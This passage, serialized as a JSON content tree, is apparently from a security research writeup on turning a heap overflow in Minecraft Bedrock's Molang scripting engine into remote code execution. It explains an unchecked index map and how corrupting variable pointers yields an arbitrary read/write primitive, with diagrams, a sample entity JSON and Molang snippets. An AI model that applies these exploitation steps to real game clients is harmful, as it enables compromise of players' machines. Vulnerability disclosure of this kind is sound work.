",{"type":24,"tag":135,"props":159836,"children":159838},{"className":159837},[],[159839],{"type":29,"value":8335},{"type":29,"value":159841}," points just past the last used element, and ",{"type":24,"tag":135,"props":159843,"children":159845},{"className":159844},[],[159846],{"type":29,"value":159847},"cap",{"type":29,"value":159849}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":135,"props":159851,"children":159853},{"className":159852},[],[159854],{"type":29,"value":8335},{"type":29,"value":518},{"type":24,"tag":135,"props":159857,"children":159859},{"className":159858},[],[159860],{"type":29,"value":159847},{"type":29,"value":159862}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":25,"props":159864,"children":159865},{},[159866],{"type":29,"value":159867},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":261,"props":159869,"children":159871},{"code":159870},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[159872],{"type":24,"tag":135,"props":159873,"children":159874},{"__ignoreMap":7},[159875],{"type":29,"value":159870},{"type":24,"tag":25,"props":159877,"children":159878},{},[159879,159881,159887,159889,159895],{"type":29,"value":159880},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":135,"props":159882,"children":159884},{"className":159883},[],[159885],{"type":29,"value":159886},"variable.result",{"type":29,"value":159888},") may differ between entities. To get around this, ",{"type":24,"tag":135,"props":159890,"children":159892},{"className":159891},[],[159893],{"type":29,"value":159894},"MolangIndexMap",{"type":29,"value":159896}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":26585,"props":159898,"children":159900},{"id":159899},"molangindexmap",[159901],{"type":29,"value":159894},{"type":24,"tag":25,"props":159903,"children":159904},{},[159905,159910,159912,159918,159920,159926],{"type":24,"tag":135,"props":159906,"children":159908},{"className":159907},[],[159909],{"type":29,"value":159894},{"type":29,"value":159911}," is a per-entity ",{"type":24,"tag":135,"props":159913,"children":159915},{"className":159914},[],[159916],{"type":29,"value":159917},"std::vector\u003Cuint16_t>",{"type":29,"value":159919},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":135,"props":159921,"children":159923},{"className":159922},[],[159924],{"type":29,"value":159925},"variable.result = 0",{"type":29,"value":159927}," it:",{"type":24,"tag":3834,"props":159929,"children":159930},{},[159931,159941,159951],{"type":24,"tag":101,"props":159932,"children":159933},{},[159934,159936],{"type":29,"value":159935},"Checks the global hashmap for ",{"type":24,"tag":135,"props":159937,"children":159939},{"className":159938},[],[159940],{"type":29,"value":16793},{"type":24,"tag":101,"props":159942,"children":159943},{},[159944,159946],{"type":29,"value":159945},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":135,"props":159947,"children":159949},{"className":159948},[],[159950],{"type":29,"value":159894},{"type":24,"tag":101,"props":159952,"children":159953},{},[159954,159956],{"type":29,"value":159955},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":135,"props":159957,"children":159959},{"className":159958},[],[159960],{"type":29,"value":159961},"last_index + 1",{"type":24,"tag":25,"props":159963,"children":159964},{},[159965,159967,159972,159974,159979,159981,159986,159988,159993,159995,160000,160001,160007,160009,160014],{"type":29,"value":159966},"This means the same global index for variable ",{"type":24,"tag":135,"props":159968,"children":159970},{"className":159969},[],[159971],{"type":29,"value":16793},{"type":29,"value":159973}," maps to the same position inside every entity’s ",{"type":24,"tag":135,"props":159975,"children":159977},{"className":159976},[],[159978],{"type":29,"value":159894},{"type":29,"value":159980},", but the actual ",{"type":24,"tag":135,"props":159982,"children":159984},{"className":159983},[],[159985],{"type":29,"value":159391},{"type":29,"value":159987}," for ",{"type":24,"tag":135,"props":159989,"children":159991},{"className":159990},[],[159992],{"type":29,"value":16793},{"type":29,"value":159994}," may live at different slots inside each entity's ",{"type":24,"tag":135,"props":159996,"children":159998},{"className":159997},[],[159999],{"type":29,"value":159718},{"type":29,"value":26223},{"type":24,"tag":135,"props":160002,"children":160004},{"className":160003},[],[160005],{"type":29,"value":160006},"Entity.MolangIndexMap[global_index]",{"type":29,"value":160008}," stores the per-entity index (slot) of variable ",{"type":24,"tag":135,"props":160010,"children":160012},{"className":160011},[],[160013],{"type":29,"value":16793},{"type":29,"value":41},{"type":24,"tag":25,"props":160016,"children":160017},{},[160018,160020,160025,160027,160032,160034,160039,160041,160046,160048,160054,160056,160061],{"type":29,"value":160019},"Importantly, we found that indices in the ",{"type":24,"tag":135,"props":160021,"children":160023},{"className":160022},[],[160024],{"type":29,"value":159894},{"type":29,"value":160026}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":135,"props":160028,"children":160030},{"className":160029},[],[160031],{"type":29,"value":159718},{"type":29,"value":160033},". This means that if we overwrite the index of variable ",{"type":24,"tag":135,"props":160035,"children":160037},{"className":160036},[],[160038],{"type":29,"value":16793},{"type":29,"value":160040}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":135,"props":160042,"children":160044},{"className":160043},[],[160045],{"type":29,"value":159718},{"type":29,"value":160047},", we could read from and write to ",{"type":24,"tag":135,"props":160049,"children":160051},{"className":160050},[],[160052],{"type":29,"value":160053},"address + 0x38",{"type":29,"value":160055}," through ",{"type":24,"tag":135,"props":160057,"children":160059},{"className":160058},[],[160060],{"type":29,"value":159886},{"type":29,"value":41},{"type":24,"tag":85,"props":160063,"children":160065},{"id":160064},"building-a-molang-arbitrary-rw-primitive",[160066],{"type":29,"value":160067},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":25,"props":160069,"children":160070},{},[160071,160073,160078,160080,160085],{"type":29,"value":160072},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":135,"props":160074,"children":160076},{"className":160075},[],[160077],{"type":29,"value":159748},{"type":29,"value":160079}," - specifically, of ",{"type":24,"tag":135,"props":160081,"children":160083},{"className":160082},[],[160084],{"type":29,"value":159718},{"type":29,"value":160086}," vector.",{"type":24,"tag":25,"props":160088,"children":160089},{},[160090,160092,160097,160099,160104,160105,160110,160112,160117],{"type":29,"value":160091},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":135,"props":160093,"children":160095},{"className":160094},[],[160096],{"type":29,"value":159718},{"type":29,"value":160098}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":135,"props":160100,"children":160102},{"className":160101},[],[160103],{"type":29,"value":156914},{"type":29,"value":5436},{"type":24,"tag":135,"props":160106,"children":160108},{"className":160107},[],[160109],{"type":29,"value":159718},{"type":29,"value":160111}," vector belonging to an entity object placed just next the ",{"type":24,"tag":135,"props":160113,"children":160115},{"className":160114},[],[160116],{"type":29,"value":159718},{"type":29,"value":160118}," allocated buffer.",{"type":24,"tag":261,"props":160120,"children":160122},{"code":160121}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[160123],{"type":24,"tag":135,"props":160124,"children":160125},{"__ignoreMap":7},[160126],{"type":29,"value":160121},{"type":24,"tag":25,"props":160128,"children":160129},{},[160130,160132,160137,160139,160145,160147,160152,160153,160159,160160,160165,160167,160172,160174,160179,160181,160186,160188,160193,160195,160200,160202,160207,160209,160215,160217,160222,160224,160229],{"type":29,"value":160131},"In the scenario above, the ",{"type":24,"tag":135,"props":160133,"children":160135},{"className":160134},[],[160136],{"type":29,"value":159894},{"type":29,"value":160138}," would map ",{"type":24,"tag":135,"props":160140,"children":160142},{"className":160141},[],[160143],{"type":29,"value":160144},"variable.a",{"type":29,"value":160146}," -> index ",{"type":24,"tag":135,"props":160148,"children":160150},{"className":160149},[],[160151],{"type":29,"value":4121},{"type":29,"value":158},{"type":24,"tag":135,"props":160154,"children":160156},{"className":160155},[],[160157],{"type":29,"value":160158},"variable.b",{"type":29,"value":160146},{"type":24,"tag":135,"props":160161,"children":160163},{"className":160162},[],[160164],{"type":29,"value":156},{"type":29,"value":160166},", and so on. If we overwrite the index for ",{"type":24,"tag":135,"props":160168,"children":160170},{"className":160169},[],[160171],{"type":29,"value":160144},{"type":29,"value":160173}," with a value that is out-of-bounds for the ",{"type":24,"tag":135,"props":160175,"children":160177},{"className":160176},[],[160178],{"type":29,"value":159718},{"type":29,"value":160180},", it can instead index the ",{"type":24,"tag":135,"props":160182,"children":160184},{"className":160183},[],[160185],{"type":29,"value":156914},{"type":29,"value":160187}," field of the entity object above. Reading ",{"type":24,"tag":135,"props":160189,"children":160191},{"className":160190},[],[160192],{"type":29,"value":160144},{"type":29,"value":160194}," will then return the pointer stored at offset ",{"type":24,"tag":135,"props":160196,"children":160198},{"className":160197},[],[160199],{"type":29,"value":159652},{"type":29,"value":160201}," from the start of the ",{"type":24,"tag":135,"props":160203,"children":160205},{"className":160204},[],[160206],{"type":29,"value":159718},{"type":29,"value":160208}," (which in this diagram corresponds to ",{"type":24,"tag":135,"props":160210,"children":160212},{"className":160211},[],[160213],{"type":29,"value":160214},"variable.f",{"type":29,"value":160216},"), and writing to ",{"type":24,"tag":135,"props":160218,"children":160220},{"className":160219},[],[160221],{"type":29,"value":160144},{"type":29,"value":160223}," will overwrite that pointer - corrupting ",{"type":24,"tag":135,"props":160225,"children":160227},{"className":160226},[],[160228],{"type":29,"value":160214},{"type":29,"value":41},{"type":24,"tag":25,"props":160231,"children":160232},{},[160233,160235,160240,160241,160247,160249,160254,160256,160262,160264,160269,160271,160276,160278,160284,160286,160292,160294,160299],{"type":29,"value":160234},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":135,"props":160236,"children":160238},{"className":160237},[],[160239],{"type":29,"value":160144},{"type":29,"value":1357},{"type":24,"tag":135,"props":160242,"children":160244},{"className":160243},[],[160245],{"type":29,"value":160246},"variable.a += 8",{"type":29,"value":160248},"), which advances the pointer used for ",{"type":24,"tag":135,"props":160250,"children":160252},{"className":160251},[],[160253],{"type":29,"value":160214},{"type":29,"value":160255}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":135,"props":160257,"children":160259},{"className":160258},[],[160260],{"type":29,"value":160261},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":160263}," - this updates the ",{"type":24,"tag":135,"props":160265,"children":160267},{"className":160266},[],[160268],{"type":29,"value":160214},{"type":29,"value":160270}," pointer to our chosen address, and writing to ",{"type":24,"tag":135,"props":160272,"children":160274},{"className":160273},[],[160275],{"type":29,"value":160214},{"type":29,"value":160277},", for example ",{"type":24,"tag":135,"props":160279,"children":160281},{"className":160280},[],[160282],{"type":29,"value":160283},"variable.f = 1337",{"type":29,"value":160285},", writes the value ",{"type":24,"tag":135,"props":160287,"children":160289},{"className":160288},[],[160290],{"type":29,"value":160291},"1337",{"type":29,"value":160293}," to offset ",{"type":24,"tag":135,"props":160295,"children":160297},{"className":160296},[],[160298],{"type":29,"value":159652},{"type":29,"value":160300}," from that calculated address.",{"type":24,"tag":26585,"props":160302,"children":160304},{"id":160303},"testing-the-idea",[160305],{"type":29,"value":160306},"Testing the Idea",{"type":24,"tag":25,"props":160308,"children":160309},{},[160310,160312,160317,160319,160324,160326,160331],{"type":29,"value":160311},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":135,"props":160313,"children":160315},{"className":160314},[],[160316],{"type":29,"value":159718},{"type":29,"value":160318}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":10648,"props":160320,"children":160321},{},[160322],{"type":29,"value":160323},"almost",{"type":29,"value":160325}," worked - below is the state of the ",{"type":24,"tag":135,"props":160327,"children":160329},{"className":160328},[],[160330],{"type":29,"value":159718},{"type":29,"value":160332},"'s allocated buffer before the Molang script executes:",{"type":24,"tag":25,"props":160334,"children":160335},{},[160336],{"type":24,"tag":74,"props":160337,"children":160339},{"alt":76,"src":160338},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":25,"props":160341,"children":160342},{},[160343],{"type":29,"value":160344},"And this is after execution:",{"type":24,"tag":25,"props":160346,"children":160347},{},[160348],{"type":24,"tag":74,"props":160349,"children":160351},{"alt":76,"src":160350},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":25,"props":160353,"children":160354},{},[160355],{"type":29,"value":160356},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":261,"props":160358,"children":160360},{"code":160359,"language":41666,"meta":7,"className":41664,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[160361],{"type":24,"tag":135,"props":160362,"children":160363},{"__ignoreMap":7},[160364,160371,160392,160404,160416,160437,160444,160451,160458,160470,160483,160495,160507,160519,160535,160542,160554,160562,160570,160577,160584,160591],{"type":24,"tag":271,"props":160365,"children":160366},{"class":273,"line":274},[160367],{"type":24,"tag":271,"props":160368,"children":160369},{"style":288},[160370],{"type":29,"value":702},{"type":24,"tag":271,"props":160372,"children":160373},{"class":273,"line":284},[160374,160379,160383,160388],{"type":24,"tag":271,"props":160375,"children":160376},{"style":630},[160377],{"type":29,"value":160378}," \"format_version\"",{"type":24,"tag":271,"props":160380,"children":160381},{"style":288},[160382],{"type":29,"value":23028},{"type":24,"tag":271,"props":160384,"children":160385},{"style":378},[160386],{"type":29,"value":160387},"\"1.10.0\"",{"type":24,"tag":271,"props":160389,"children":160390},{"style":288},[160391],{"type":29,"value":638},{"type":24,"tag":271,"props":160393,"children":160394},{"class":273,"line":294},[160395,160400],{"type":24,"tag":271,"props":160396,"children":160397},{"style":630},[160398],{"type":29,"value":160399}," \"minecraft:client_entity\"",{"type":24,"tag":271,"props":160401,"children":160402},{"style":288},[160403],{"type":29,"value":44690},{"type":24,"tag":271,"props":160405,"children":160406},{"class":273,"line":303},[160407,160412],{"type":24,"tag":271,"props":160408,"children":160409},{"style":630},[160410],{"type":29,"value":160411}," \"description\"",{"type":24,"tag":271,"props":160413,"children":160414},{"style":288},[160415],{"type":29,"value":44690},{"type":24,"tag":271,"props":160417,"children":160418},{"class":273,"line":312},[160419,160424,160428,160433],{"type":24,"tag":271,"props":160420,"children":160421},{"style":630},[160422],{"type":29,"value":160423}," \"identifier\"",{"type":24,"tag":271,"props":160425,"children":160426},{"style":288},[160427],{"type":29,"value":23028},{"type":24,"tag":271,"props":160429,"children":160430},{"style":378},[160431],{"type":29,"value":160432},"\"minecraft:leash_knot\"",{"type":24,"tag":271,"props":160434,"children":160435},{"style":288},[160436],{"type":29,"value":638},{"type":24,"tag":271,"props":160438,"children":160439},{"class":273,"line":321},[160440],{"type":24,"tag":271,"props":160441,"children":160442},{"emptyLinePlaceholder":16},[160443],{"type":29,"value":327},{"type":24,"tag":271,"props":160445,"children":160446},{"class":273,"line":330},[160447],{"type":24,"tag":271,"props":160448,"children":160449},{"style":30092},[160450],{"type":29,"value":134231},{"type":24,"tag":271,"props":160452,"children":160453},{"class":273,"line":339},[160454],{"type":24,"tag":271,"props":160455,"children":160456},{"style":288},[160457],{"type":29,"value":159541},{"type":24,"tag":271,"props":160459,"children":160460},{"class":273,"line":347},[160461,160466],{"type":24,"tag":271,"props":160462,"children":160463},{"style":630},[160464],{"type":29,"value":160465}," \"scripts\"",{"type":24,"tag":271,"props":160467,"children":160468},{"style":288},[160469],{"type":29,"value":44690},{"type":24,"tag":271,"props":160471,"children":160472},{"class":273,"line":356},[160473,160478],{"type":24,"tag":271,"props":160474,"children":160475},{"style":630},[160476],{"type":29,"value":160477}," \"initialize\"",{"type":24,"tag":271,"props":160479,"children":160480},{"style":288},[160481],{"type":29,"value":160482},": [\n",{"type":24,"tag":271,"props":160484,"children":160485},{"class":273,"line":365},[160486,160491],{"type":24,"tag":271,"props":160487,"children":160488},{"style":378},[160489],{"type":29,"value":160490}," \"variable.a = 0;\"",{"type":24,"tag":271,"props":160492,"children":160493},{"style":288},[160494],{"type":29,"value":638},{"type":24,"tag":271,"props":160496,"children":160497},{"class":273,"line":374},[160498,160503],{"type":24,"tag":271,"props":160499,"children":160500},{"style":378},[160501],{"type":29,"value":160502}," \"variable.b = 0;\"",{"type":24,"tag":271,"props":160504,"children":160505},{"style":288},[160506],{"type":29,"value":638},{"type":24,"tag":271,"props":160508,"children":160509},{"class":273,"line":384},[160510,160515],{"type":24,"tag":271,"props":160511,"children":160512},{"style":378},[160513],{"type":29,"value":160514}," \"variable.c = 0;\"",{"type":24,"tag":271,"props":160516,"children":160517},{"style":288},[160518],{"type":29,"value":638},{"type":24,"tag":271,"props":160520,"children":160521},{"class":273,"line":393},[160522,160527,160531],{"type":24,"tag":271,"props":160523,"children":160524},{"style":288},[160525],{"type":29,"value":160526}," [",{"type":24,"tag":271,"props":160528,"children":160529},{"style":30092},[160530],{"type":29,"value":17298},{"type":24,"tag":271,"props":160532,"children":160533},{"style":288},[160534],{"type":29,"value":19475},{"type":24,"tag":271,"props":160536,"children":160537},{"class":273,"line":402},[160538],{"type":24,"tag":271,"props":160539,"children":160540},{"style":288},[160541],{"type":29,"value":51314},{"type":24,"tag":271,"props":160543,"children":160544},{"class":273,"line":411},[160545,160550],{"type":24,"tag":271,"props":160546,"children":160547},{"style":630},[160548],{"type":29,"value":160549}," \"pre_animation\"",{"type":24,"tag":271,"props":160551,"children":160552},{"style":288},[160553],{"type":29,"value":160482},{"type":24,"tag":271,"props":160555,"children":160556},{"class":273,"line":420},[160557],{"type":24,"tag":271,"props":160558,"children":160559},{"style":378},[160560],{"type":29,"value":160561}," \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":271,"props":160563,"children":160564},{"class":273,"line":429},[160565],{"type":24,"tag":271,"props":160566,"children":160567},{"style":288},[160568],{"type":29,"value":160569}," ]\n",{"type":24,"tag":271,"props":160571,"children":160572},{"class":273,"line":438},[160573],{"type":24,"tag":271,"props":160574,"children":160575},{"style":288},[160576],{"type":29,"value":44867},{"type":24,"tag":271,"props":160578,"children":160579},{"class":273,"line":447},[160580],{"type":24,"tag":271,"props":160581,"children":160582},{"style":288},[160583],{"type":29,"value":4385},{"type":24,"tag":271,"props":160585,"children":160586},{"class":273,"line":455},[160587],{"type":24,"tag":271,"props":160588,"children":160589},{"style":288},[160590],{"type":29,"value":13588},{"type":24,"tag":271,"props":160592,"children":160593},{"class":273,"line":464},[160594],{"type":24,"tag":271,"props":160595,"children":160596},{"style":288},[160597],{"type":29,"value":1171},{"type":24,"tag":25,"props":160599,"children":160600},{},[160601,160603,160608,160610,160615,160617,160622],{"type":29,"value":160602},"As shown, the pointer of a variable at offset ",{"type":24,"tag":135,"props":160604,"children":160606},{"className":160605},[],[160607],{"type":29,"value":159652},{"type":29,"value":160609}," was modified and the core concept works. During ",{"type":24,"tag":135,"props":160611,"children":160613},{"className":160612},[],[160614],{"type":29,"value":159610},{"type":29,"value":160616}," copy, pointers of some other variables above offset ",{"type":24,"tag":135,"props":160618,"children":160620},{"className":160619},[],[160621],{"type":29,"value":159652},{"type":29,"value":160623}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":25,"props":160625,"children":160626},{},[160627],{"type":29,"value":160628},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":97,"props":160630,"children":160631},{},[160632,160645],{"type":24,"tag":101,"props":160633,"children":160634},{},[160635,160637,160643],{"type":29,"value":160636},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":135,"props":160638,"children":160640},{"className":160639},[],[160641],{"type":29,"value":160642},"FLT_MAX",{"type":29,"value":160644},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":101,"props":160646,"children":160647},{},[160648,160650,160655,160657,160662,160663,160668,160670,160675],{"type":29,"value":160649},"As noted before, during assignment, ",{"type":24,"tag":135,"props":160651,"children":160653},{"className":160652},[],[160654],{"type":29,"value":159610},{"type":29,"value":160656}," fields are copied, and the ",{"type":24,"tag":135,"props":160658,"children":160660},{"className":160659},[],[160661],{"type":29,"value":46820},{"type":29,"value":159700},{"type":24,"tag":135,"props":160664,"children":160666},{"className":160665},[],[160667],{"type":29,"value":5279},{"type":29,"value":160669},". Since our source ",{"type":24,"tag":135,"props":160671,"children":160673},{"className":160672},[],[160674],{"type":29,"value":159610},{"type":29,"value":160676}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":25,"props":160678,"children":160679},{},[160680],{"type":29,"value":160681},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":24,"tag":26585,"props":160683,"children":160685},{"id":160684},"expanding-the-idea",[160686],{"type":29,"value":160687},"Expanding the Idea",{"type":24,"tag":25,"props":160689,"children":160690},{},[160691,160693,160698,160700,160705,160706,160711,160713,160718],{"type":29,"value":160692},"As mentioned earlier, the ",{"type":24,"tag":135,"props":160694,"children":160696},{"className":160695},[],[160697],{"type":29,"value":40427},{"type":29,"value":160699}," field of ",{"type":24,"tag":135,"props":160701,"children":160703},{"className":160702},[],[160704],{"type":29,"value":159610},{"type":29,"value":23141},{"type":24,"tag":135,"props":160707,"children":160709},{"className":160708},[],[160710],{"type":29,"value":7591},{"type":29,"value":160712},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":135,"props":160714,"children":160716},{"className":160715},[],[160717],{"type":29,"value":46820},{"type":29,"value":160719}," field remain unchanged before and after Molang execution.",{"type":24,"tag":25,"props":160721,"children":160722},{},[160723,160725,160730],{"type":29,"value":160724},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":135,"props":160726,"children":160728},{"className":160727},[],[160729],{"type":29,"value":159718},{"type":29,"value":160731},"’s allocated buffer + 4.",{"type":24,"tag":25,"props":160733,"children":160734},{},[160735,160737,160742,160744,160749,160751,160756,160757,160763],{"type":29,"value":160736},"In the example below, ",{"type":24,"tag":135,"props":160738,"children":160740},{"className":160739},[],[160741],{"type":29,"value":160144},{"type":29,"value":160743}," points to ",{"type":24,"tag":135,"props":160745,"children":160747},{"className":160746},[],[160748],{"type":29,"value":159718},{"type":29,"value":160750},", while ",{"type":24,"tag":135,"props":160752,"children":160754},{"className":160753},[],[160755],{"type":29,"value":160158},{"type":29,"value":160743},{"type":24,"tag":135,"props":160758,"children":160760},{"className":160759},[],[160761],{"type":29,"value":160762},"MolangVariableMap + 4",{"type":29,"value":12210},{"type":24,"tag":261,"props":160765,"children":160767},{"code":160766}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[160768],{"type":24,"tag":135,"props":160769,"children":160770},{"__ignoreMap":7},[160771],{"type":29,"value":160766},{"type":24,"tag":25,"props":160773,"children":160774},{},[160775,160777,160782,160783,160788,160790,160795,160797,160802,160804,160809],{"type":29,"value":160776},"Here, the ",{"type":24,"tag":135,"props":160778,"children":160780},{"className":160779},[],[160781],{"type":29,"value":46820},{"type":29,"value":160699},{"type":24,"tag":135,"props":160784,"children":160786},{"className":160785},[],[160787],{"type":29,"value":160144},{"type":29,"value":160789}," starts at the lower 32 bits of the ",{"type":24,"tag":135,"props":160791,"children":160793},{"className":160792},[],[160794],{"type":29,"value":160214},{"type":29,"value":160796}," pointer, while ",{"type":24,"tag":135,"props":160798,"children":160800},{"className":160799},[],[160801],{"type":29,"value":160158},{"type":29,"value":160803}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":135,"props":160805,"children":160807},{"className":160806},[],[160808],{"type":29,"value":160214},{"type":29,"value":160810}," pointer in a separate variable:",{"type":24,"tag":261,"props":160812,"children":160814},{"code":160813},"variable.saved_upper_32 = variable.b;\n",[160815],{"type":24,"tag":135,"props":160816,"children":160817},{"__ignoreMap":7},[160818],{"type":29,"value":160813},{"type":24,"tag":25,"props":160820,"children":160821},{},[160822],{"type":29,"value":160823},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":261,"props":160825,"children":160827},{"code":160826},"variable.a = variable.a + itof(0x8);\n",[160828],{"type":24,"tag":135,"props":160829,"children":160830},{"__ignoreMap":7},[160831],{"type":29,"value":160826},{"type":24,"tag":25,"props":160833,"children":160834},{},[160835],{"type":29,"value":160836},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":261,"props":160838,"children":160840},{"code":160839}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[160841],{"type":24,"tag":135,"props":160842,"children":160843},{"__ignoreMap":7},[160844],{"type":29,"value":160839},{"type":24,"tag":25,"props":160846,"children":160847},{},[160848,160850,160855],{"type":29,"value":160849},"Since the 32 bits directly below the ",{"type":24,"tag":135,"props":160851,"children":160853},{"className":160852},[],[160854],{"type":29,"value":46820},{"type":29,"value":160856}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":261,"props":160858,"children":160860},{"code":160859},"variable.b = variable.saved_upper_32;\n",[160861],{"type":24,"tag":135,"props":160862,"children":160863},{"__ignoreMap":7},[160864],{"type":29,"value":160859},{"type":24,"tag":25,"props":160866,"children":160867},{},[160868,160870,160875],{"type":29,"value":160869},"Now ",{"type":24,"tag":135,"props":160871,"children":160873},{"className":160872},[],[160874],{"type":29,"value":160214},{"type":29,"value":160876}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":261,"props":160878,"children":160880},{"code":160879}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[160881],{"type":24,"tag":135,"props":160882,"children":160883},{"__ignoreMap":7},[160884],{"type":29,"value":160879},{"type":24,"tag":25,"props":160886,"children":160887},{},[160888,160890,160895],{"type":29,"value":160889},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":135,"props":160891,"children":160893},{"className":160892},[],[160894],{"type":29,"value":160762},{"type":29,"value":160896}," on the heap?",{"type":24,"tag":25,"props":160898,"children":160899},{},[160900,160902,160907,160909,160915],{"type":29,"value":160901},"Additionally, adding 8 to ",{"type":24,"tag":135,"props":160903,"children":160905},{"className":160904},[],[160906],{"type":29,"value":160144},{"type":29,"value":160908}," in the example above wouldn’t work because ",{"type":24,"tag":135,"props":160910,"children":160912},{"className":160911},[],[160913],{"type":29,"value":160914},"0xddccbba0",{"type":29,"value":160916}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":26585,"props":160918,"children":160920},{"id":160919},"the-final-approach",[160921],{"type":29,"value":160922},"The Final Approach",{"type":24,"tag":25,"props":160924,"children":160925},{},[160926,160928,160933,160935,160941],{"type":29,"value":160927},"We realized that instead of having the second pointer at ",{"type":24,"tag":135,"props":160929,"children":160931},{"className":160930},[],[160932],{"type":29,"value":160762},{"type":29,"value":160934},", we could instead have it at ",{"type":24,"tag":135,"props":160936,"children":160938},{"className":160937},[],[160939],{"type":29,"value":160940},"MolangVariableMap + 2",{"type":29,"value":160942},", which would resolve both of our issues.",{"type":24,"tag":25,"props":160944,"children":160945},{},[160946,160948,160953,160954,160959],{"type":29,"value":160947},"Let’s revisit the previous example, but this time ",{"type":24,"tag":135,"props":160949,"children":160951},{"className":160950},[],[160952],{"type":29,"value":160158},{"type":29,"value":160743},{"type":24,"tag":135,"props":160955,"children":160957},{"className":160956},[],[160958],{"type":29,"value":160940},{"type":29,"value":12210},{"type":24,"tag":261,"props":160961,"children":160963},{"code":160962}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[160964],{"type":24,"tag":135,"props":160965,"children":160966},{"__ignoreMap":7},[160967],{"type":29,"value":160962},{"type":24,"tag":25,"props":160969,"children":160970},{},[160971,160973,160978],{"type":29,"value":160972},"With this setup, we can calculate any address relative to ",{"type":24,"tag":135,"props":160974,"children":160976},{"className":160975},[],[160977],{"type":29,"value":160214},{"type":29,"value":160979}," by first saving the upper 48 bits of the address:",{"type":24,"tag":261,"props":160981,"children":160983},{"code":160982},"variable.saved_upper_48 = 